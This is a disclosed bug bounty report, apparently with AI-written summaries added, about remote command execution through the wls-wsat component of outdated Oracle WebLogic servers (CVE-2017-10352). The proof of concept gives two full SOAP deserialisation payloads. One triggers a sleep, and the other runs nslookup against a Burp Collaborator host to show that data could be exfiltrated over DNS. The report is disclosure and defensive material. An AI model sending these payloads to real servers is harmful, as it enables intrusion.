Remote OS command Execution in the 3 more Oracle Weblogic on the ████████, ████, ███████ [CVE-2017-10352]
Three additional Oracle WebLogic instances were found vulnerable to remote OS command execution through the wls-wsat component. An attacker could run arbitrary commands on the server, as shown by a time delay and a DNS lookup.
- Triaged in 5 days
- Fixed in 12 days
- Disclosed after 3 months
##Description
Hello. I was able to identify 3 more RCE vulnerabilities due to the outdated Oracle Weblogic instance on the █████████, ███, █████
After my previous discoveries I decided to dig deeper into the ███.mil scope/IP space and found other instances of vulnerable Oracle WebLogic. I decided to fill all this additional findings in the single report
##POC This request to the https://█████████/wls-wsat/CoordinatorPortType will trigger sleep for 10 seconds (same applies for ████████, ███████):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: █████████
Content-Length: 423
content-type: text/xml
Accept-Encoding: gzip, deflate, compress
Accept: */*
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.beans.XMLDecoder">
<object class="java.lang.Thread" method="sleep">
<long>10000</long>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
The next request will resolve custom Burp Collaborator hostname via nslookup OS command to prove that it's possible to exfiltrate data via DNS:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: ███
Content-Length: 724
content-type: text/xml
Accept-Encoding: gzip, deflate, compress
Accept: */*
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index = "0">
<string>cmd</string>
</void>
<void index = "1">
<string>/c</string>
</void>
<void index = "2">
<string>nslookup j3nxpi8ecz9uznkpu32mb7pj9af13q.burpcollaborator.net</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Note: to reproduce the second case with nslookup, j3nxpi8ecz9uznkpu32mb7pj9af13q.burpcollaborator.net host should be replaced by your own Burp Collaborator instance to catch the DNS request
##Suggested fix Patching WebLogic to the resent version will fix the issue.
Impact
Remote OS command execution.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the outdated Oracle WebLogic instance exposes the wls-wsat component, which deserialises untrusted XML and allows arbitrary Java object creation leading to command execution.
Impact
Remote OS command execution, allowing an attacker to run arbitrary commands on the server.
What the attacker needed
Network access to the WebLogic instance; vulnerable wls-wsat endpoint exposed
The fix
Patching WebLogic to the recent version will fix the issue.
How it was found
- Send a crafted XML request to the wls-wsat/CoordinatorPortType endpoint to trigger a 10-second sleep.
- Send a second crafted XML request that uses ProcessBuilder to run nslookup against a Burp Collaborator hostname.
- Observe the DNS request in Burp Collaborator to confirm command execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report is about an old version of Oracle WebLogic, a Java application server, that lets anyone send a special web request to make the server run operating system commands. The attacker can then run commands like a delay or a DNS lookup to prove they have control. The fix is to update WebLogic to a newer version.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.